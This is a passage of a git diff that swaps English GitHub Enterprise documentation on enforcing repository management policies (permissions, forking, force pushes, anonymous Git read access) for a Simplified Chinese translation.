+在企业帐户拥有的所有组织中,你可以为组织成员设置基本存储库权限级别(无、读取、写入或管理),或允许所有者在组织级别管理设置。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -4. Under "Base permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. Under "Base permissions", use the drop-down menu and choose a policy. - ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +4. 在“基本权限”(团队讨论)下,审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. 在“基本权限”下,使用下拉菜单并选择策略。 + ![包含存储库权限策略选项的下拉菜单](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) -## Enforcing a policy for repository creation +## 执行仓库创建策略 -Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. +在企业拥有的所有组织中,您可以允许成员创建仓库、将仓库创建限于组织所有者或允许所有者在组织级别管理设置。 -If you allow members to create repositories in your organizations, you can choose which types of repositories (public, private, and internal) that members can create. +如果允许成员在组织中创建存储库,可选择成员可以创建的存储库类型(公共、专用和内部)。 -{% ifversion enterprise-namespace-repo-setting %} -{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% else %}You{% endif %} can also prevent users from creating repositories owned by their user accounts. +{% ifversion enterprise-namespace-repo-setting %} {% ifversion ghec %}如果企业使用 {% data variables.product.prodname_emus %},{% else %}{% endif %}还可以阻止用户创建其用户帐户拥有的存储库。 {% endif %} -{% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)." +{% data reusables.repositories.internal-repo-default %} 有关内部存储库的更多信息,请参阅[创建内部存储库](/articles/creating-an-internal-repository)。 {% data reusables.organizations.repo-creation-constants %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -{% data reusables.enterprise-accounts.repo-creation-policy %} -{% data reusables.enterprise-accounts.repo-creation-types %}{% ifversion enterprise-namespace-repo-setting %} -1. Optionally, {% ifversion ghec %}if your enterprise uses {% data variables.product.prodname_emus %} and you want {% endif %}to prevent enterprise members from creating repositories owned by their user accounts, select **Block the creation of user namespace repositories**. - ![Screenshot showing the list of disabled options from forking policy](/assets/images/help/business-accounts/restrict-personal-namespace-enabled-setting.png){% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +5. 在“Repository creation”下,检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} {% data reusables.enterprise-accounts.repo-creation-policy %} {% data reusables.enterprise-accounts.repo-creation-types %}{% ifversion enterprise-namespace-repo-setting %} +1. (可选){% ifversion ghec %}如果企业使用 {% data variables.product.prodname_emus %},并且你{% endif %}要阻止企业成员创建其用户帐户拥有的存储库,请选择“阻止创建用户命名空间存储库”。 + ![显示分支策略中已禁用选项列表的屏幕截图](/assets/images/help/business-accounts/restrict-personal-namespace-enabled-setting.png){% endif %} -## Enforcing a policy for forking private or internal repositories -Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level. +## 实施有关复刻私有或内部仓库的策略 +在企业拥有的所有组织中,您可以允许有权访问私有或内部仓库的人员复刻仓库、永远不允许分支私有或内部仓库,或者允许所有者在组织级别管理设置。 -{% ifversion org-owners-limit-forks-creation %} -People with admin permissions can set a more granular forking policy. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." +{% ifversion org-owners-limit-forks-creation %} 具有管理员权限的人员可以设置更精细的分支策略。 有关详细信息,请参阅“[管理组织的分支策略](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)”。 {% endif %} -{% ifversion enterprise-namespace-repo-setting %} -{% note %} +{% ifversion enterprise-namespace-repo-setting %} {% note %} -**Note:** If {% ifversion ghec %}your enterprise uses {% data variables.product.prodname_emus %} and {% endif %}your "Repository creation" policy prevents enterprise members from creating repositories owned by their user accounts, members will not be allowed to fork a repository in their user accounts, regardless of your "Repository forking" policy. +注意:如果{% ifversion ghec %}企业使用 {% data variables.product.prodname_emus %},并且{% endif %}你的“存储库创建”策略阻止企业成员创建其用户帐户拥有的存储库,则无论“存储库分支”策略如何,都不会允许成员在其用户帐户中为存储库创建分叉。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -2. Under "Repository forking", use the dropdown menu and choose a policy. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +1. 在“Repository forking”(仓库复刻)下,审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +2. 在“存储库分支”下,使用下拉菜单并选择策略。 - ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png){% ifversion innersource-fork-policies %} -5. If forking is enabled, you can specify where users are allowed to fork repositories. Review the information about changing the setting and choose a policy. + ![带有存储库分支策略选项的下拉菜单](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png){% ifversion innersource-fork-policies %} +5. 如果启用了分叉,则可以指定允许用户创建存储库分支的位置。 查看有关更改设置的信息并选择策略。 - ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-settings.png){% endif %} + ![显示存储库分支策略选项列表的屏幕截图](/assets/images/help/business-accounts/repository-forking-policy-settings.png){% endif %} -## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories +## 执行邀请{% ifversion ghec %} 外部{% endif %} 协作者参与仓库的策略 -Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, {% ifversion prevent-org-admin-add-outside-collaborator %}restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to enterprise owners, {% endif %}or allow organization owners to administer the setting on the organization level. +在你的企业拥有的所有组织中,你可以允许成员邀请{% ifversion ghec %}外部{% endif %}协作者到存储库、限制{% ifversion ghec %}外部协作者{% endif %}对组织所有者的邀请、{% ifversion prevent-org-admin-add-outside-collaborator %}限制{% ifversion ghec %}外部协作者{% endif %}对企业所有者的邀请、{% endif %}或允许组织所有者管理组织级别的设置。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +3. 在“仓库 {% ifversion ghec %}外部协作者{% elsif ghes or ghae %}邀请{% endif %}”下,请查看有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +4. 在“仓库 {% ifversion ghec %}外部协作者{% elsif ghes or ghae %}邀请{% endif %}”下,使用下拉菜单并选择策略。 - {% ifversion ghec %} - ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png) - {% elsif ghes or ghae %} - ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png) + {% ifversion ghec %} ![带有外部协作者邀请策略选项的下拉菜单](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png) {% elsif ghes or ghae %} ![带有邀请策略选项的下拉菜单](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png) {% endif %} -## Enforcing a policy for the default branch name +## 对默认分支名称实施策略 -Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one. +在企业拥有的所有组织中,您可以为成员创建的任何新仓库设置默认分支名称。 您可以选择在所有组织中强制实施默认分支名称,或允许个别组织设置不同的名称。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use. - ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png) -4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**. - ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png) -5. Click **Update**. - ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +3. 在“存储库策略”选项卡的“默认分支名称”下,输入新存储库应使用的默认分支名称。 + ![输入默认分支名称的文本框](/assets/images/help/business-accounts/default-branch-name-text.png) +4. (可选)要对企业中的所有组织强制实施默认分支名称,请选择“在整个企业中实施”。 + ![强制实施复选框](/assets/images/help/business-accounts/default-branch-name-enforce.png) +5. 单击“更新”。 + ![“更新”按钮](/assets/images/help/business-accounts/default-branch-name-update.png) -## Enforcing a policy for changes to repository visibility +## 执行更改仓库可见性的策略 -Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository. +在您的企业拥有的所有组织中,您可以允许具有管理员权限的成员更改仓库的可见性、将仓库可见性更改限制为组织所有者或允许所有者在组织级别管理设置。 当您阻止成员更改仓库可见性时,只有企业所有者可以更改仓库的可见性。 -If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Enforcing a policy for repository creation](#enforcing-a-policy-for-repository-creation)." +如果企业所有者仅允许组织所有者创建仓库,则成员将无法更改仓库可见性。 如果企业所有者只允许私有仓库成员创建私有仓库,则成员只能将仓库的可见性更改为私有。 有关详细信息,请参阅“[强制实施用于存储库创建的策略](#enforcing-a-policy-for-repository-creation)”。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -1. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Repository visibility change", use the drop-down menu and choose a policy. - ![Drop-down menu with repository visibility policy options](/assets/images/help/business-accounts/repository-visibility-policy-drop-down.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +1. 在“Repository visibility change”下,检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +1. 在“Repository visibility change(仓库可见性更改)”下,使用下拉菜单选择策略。 + ![包含存储库可见性策略选项的下拉菜单](/assets/images/help/business-accounts/repository-visibility-policy-drop-down.png) -## Enforcing a policy for repository deletion and transfer +## 执行仓库删除和转移的策略 -Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level. +在您的企业拥有的所有组织中,您可以允许具有管理员权限的成员删除或转让仓库、将仓库删除和转让限制为组织所有者或允许所有者在组织级别管理设置。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.repositories-tab %} -5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} +5. 在“Repository deletion and transfer”下,检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} {% data reusables.enterprise-accounts.repository-deletion-policy %} -## Enforcing a policy for deleting issues +## 执行删除议题的策略 -Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level. +在您的企业拥有的所有组织中,您可以允许具有管理员权限的成员删除仓库中的议题、将议题删除限制为组织所有者或允许所有者在组织级别管理设置。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -4. Under "Repository issue deletion", use the drop-down menu and choose a policy. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +3. 在“存储库策略”选项卡中的“存储库问题删除”下,查看有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +4. 在“Repository issue deletion(仓库议题删除)”下,使用下拉菜单并选择策略。 - ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png) + ![带有问题删除策略选项的下拉菜单](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png) {% ifversion ghes or ghae %} -## Enforcing a policy for Git push limits +## 执行 Git 推送限制策略 -To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise. +要使仓库大小保持可管理并防止发生性能问题,可以为企业中的仓库配置文件大小限制。 -By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB. +默认情况下,强制执行仓库上传限制时,无法添加或上传超过 100 MB 的文件。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -4. Under "Repository upload limit", use the drop-down menu and click a maximum object size. -![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png) -5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories** -![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %} +4. 在“Repository upload limit”下,使用下拉菜单,然后单击最大对象大小。 +![包含最大对象大小选项的下拉菜单](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png) +5. (可选)要对企业中的所有存储库实施最大上传限制,请选择“对所有存储库强制执行” +![“对所有存储库强制执行最大对象大小”选项](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) {% ifversion profile-name-enterprise-setting %} -## Enforcing a policy for the display of member names in your repositories +## 强制实施在存储库中显示成员名称的策略 -Across all organizations owned by your enterprise, you can allow members to see a comment author's profile name, in addition to their username, in issues and pull requests for public and internal repositories. +在企业拥有的所有组织中,可以允许成员在公共和内部存储库的问题和拉取请求中查看评论作者的配置文件名称及其用户名。 -![Commenter's profile name displayed in comment](/assets/images/help/issues/commenter-full-name.png) +![评论中显示的评论者个人资料名称](/assets/images/help/issues/commenter-full-name.png) {% note %} -**Note:** When this policy is enforced for all repositories in the enterprise, it overrides the organization setting for private repositories. For more information, see "[Managing the display of member names in your organization](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization)". +注意:当对企业中的所有存储库强制实施此策略时,它将替代专用存储库的组织设置。 有关详细信息,请参阅“[管理组织中成员姓名的显示](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization)”。 {% endnote %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -4. Under "Allow members to see the comment author's profile name in public and internal repositories", select the dropdown menu and click a policy. -![Screenshot of Options page with policy drop down emphasized](/assets/images/enterprise/site-admin-settings/comment-authors-profile-name-drop-down.png) -5. Optionally, to enforce the display of profile names for all repositories in your enterprise, select **Enforce for all repositories on the instance**. -![Screenshot of "Enforce for all repositories" option emphasized](/assets/images/enterprise/site-admin-settings/enforce-for-all-repositories-option.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %} +4. 在“允许成员在公共和内部存储库中查看评论作者的配置文件名称”下,选择下拉菜单并单击一个策略。 +![“选项”页的屏幕截图,其中突出显示了策略下拉菜单](/assets/images/enterprise/site-admin-settings/comment-authors-profile-name-drop-down.png) +5. (可选)要强制显示企业中所有存储库的配置文件名称,请选择“对实例上的所有存储库强制实施”。 +![突出显示了“对所有存储库强制实施”选项的屏幕截图](/assets/images/enterprise/site-admin-settings/enforce-for-all-repositories-option.png) {% endif %} -## Configuring the merge conflict editor for pull requests between repositories +## 为仓库之间的拉取请求配置合并冲突编辑器 -Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork. +要求用户在其计算机上本地解决合并冲突可以避免用户因疏忽而从分叉写入到上游仓库。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes or ghae %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**. - ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +1. 在“存储库之间的拉取请求的冲突编辑器”下,使用下拉菜单,然后单击“已禁用”。 + ![包含用于禁用合并冲突编辑器的选项的下拉菜单](/assets/images/enterprise/settings/conflict-editor-settings.png) -## Configuring force pushes +## 配置强制推送 -Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization. +每个仓库从拥有该仓库的用户帐户或组织的设置继承默认强制推送设置。 每个组织和用户帐户都会从企业的强制推送设置继承默认强制推送设置。 如果您更改企业的强制推送设置,此策略适用于任何用户或组织拥有的所有仓库。 -### Blocking force pushes to all repositories +### 阻止强制推送到所有仓库 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**. -![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png) -5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %} +4. 在“强制推送”下,使用下拉菜单,然后单击“允许”、“阻止”或“阻止到默认分支” 。 +![强制推送下拉菜单](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png) +5. (可选)选择“对所有存储库强制实施”,这将替代强制推送的组织和存储库级别设置。 -### Blocking force pushes to a specific repository +### 阻止特定仓库的强制推送 {% data reusables.enterprise_site_admin_settings.override-policy %} -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -4. Select **Block** or **Block to the default branch** under **Push and Pull**. - ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png) +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +4. 在“推送和拉取”下,选择“阻止”或“阻止到默认分支” 。 + ![阻止强制推送](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png) -### Blocking force pushes to repositories owned by a user account or organization +### 阻止对用户帐户或组织拥有的仓库进行强制推送 -Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise. +仓库从它们所属的用户帐户或组织继承强制推送设置。 反过来,用户帐户和组织从企业的强制推送设置继承其强制推送设置。 -You can override the default inherited settings by configuring the settings for a user account or organization. +您可以通过配置用户帐户或组织的设置来覆盖默认的继承设置。 -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -5. Under "Repository default settings" in the "Force pushes" section, select - - **Block** to block force pushes to all branches. - - **Block to the default branch** to only block force pushes to the default branch. - ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png) -6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy. - ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +5. 在“Force pushes”部分的“Repository default settings”下,选择 + - 阻止:阻止对所有分支进行强制推送。 + - 阻止到默认分支:仅阻止强制推送到默认分支。 + ![阻止强制推送](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png) +6. (可选)选择“对所有存储库强制实施”来替代存储库特定的设置。 注意,这不会替代企业范围的策略。 + ![阻止强制推送](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) {% endif %} {% ifversion ghes %} -## Configuring anonymous Git read access +## 配置匿名 Git 读取访问 {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %} -If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) for {% data variables.location.product_location %}, you can allow repository administrators to enable anonymous Git read access to public repositories. +如果已为 {% data variables.location.product_location %} [启用专用模式](/enterprise/admin/configuration/enabling-private-mode),则可以允许存储库管理员启用对公共存储库的匿名 Git 读取访问权限。 -Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication. +启用匿名 Git 读取允许用户在企业上为自定义工具绕过身份验证。 当你或存储库管理员为存储库启用此权限设置时,未经过身份验证的 Git 操作(和具有 {% data variables.product.product_name %} 的网络访问权限的任何人)将获得存储库的读取权限(无需身份验证)。 -Anonymous Git read access is disabled by default.{% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 or ghes = 3.7 %} When you upgrade to {% data variables.product.product_name %} 3.6 or later, anonymous Git read access is automatically disabled at the application level, and `git://` connections on port 9418 will return the following error. +默认情况下,禁用匿名 Git 读取访问权限。{% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 or ghes = 3.7 %}当升级到 {% data variables.product.product_name %} 3.6 或更高版本时,匿名 Git 读取访问权限将在应用程序级别自动禁用,并且端口 9418 上的 `git://` 连接将返回以下错误。 ``` The unauthenticated git protocol on port 9418 is no longer supported. @@ -316,7 +270,7 @@ The unauthenticated git protocol on port 9418 is no longer supported. {% ifversion ghes > 3.5 %} -If you wish to support the unathenticated Git protocol in your environment, you must manually re-enable the feature. Run the following commands after your upgrade: +如果希望在环境中支持未经身份验证的 Git 协议,则必须手动重新启用该功能。 升级后运行以下命令: ```ShellSession $ sudo ghe-config app.gitauth.git-protocol true @@ -325,44 +279,34 @@ $ sudo ghe-config-apply {% endif %} -Anonymous Git read access will be entirely removed in a future release of {% data variables.product.prodname_ghe_server %}. {% data variables.product.company_short %} recommends using SSH instead of the Git protocol. For more information about this change, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server). +{% data variables.product.prodname_ghe_server %} 的未来版本中将完全移除匿名 Git 读取访问权限。 {% data variables.product.company_short %} 建议使用 SSH 而不是 Git 协议。 有关此更改的详细信息,请参阅 [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server)。 {% endif %} -If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting. +如有必要,您可以通过锁定仓库的访问设置,阻止仓库管理员更改企业上仓库的匿名 Git 访问设置。 在您锁定仓库的 Git 读取权限设置后,只有站点管理员可以更改设置。 {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %} {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} -### Setting anonymous Git read access for all repositories +### 设置所有仓库的匿名 Git 读取访问 -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes or ghae %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**. -![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png) -3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**. -![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +4. 在“匿名 Git 读取权限”下,使用下拉菜单,并单击“已启用”。 +![匿名 Git 读取权限下拉菜单显示菜单选项“已启用”和“已禁用”](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png) +3. 或者,如果要阻止存储库管理员为实例上的所有存储库更改匿名 Git 读取权限设置,请选择“阻止存储库管理员更改匿名 Git 读取权限”。 +![选中复选框可阻止存储库管理员更改企业上所有存储库的匿名 Git 读取权限设置。](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png) -### Setting anonymous Git read access for a specific repository +### 设置特定仓库的匿名 Git 读取访问 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**. -!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) -7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.** -![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png) -8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**. -![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +6. 在“危险区域”下的“启用匿名 Git 读取权限”旁边,单击“启用”。 +![存储库站点管理员设置的危险区域中“启用匿名 Git 读取权限”下的“已启用”按钮](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) +7. 查看更改。 要确认,请单击“是,启用匿名 Git 读取权限”。 +![在弹出窗口中确认匿名 Git 读取权限设置](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png) +8. 或者,如果要阻止存储库管理员为此存储库更改设置,请选择“阻止存储库管理员更改匿名 Git 读取权限”。 +![选中复选框可阻止存储库管理员更改此存储库的匿名 Git 读取权限。](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png) {% endif %} diff --git a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md 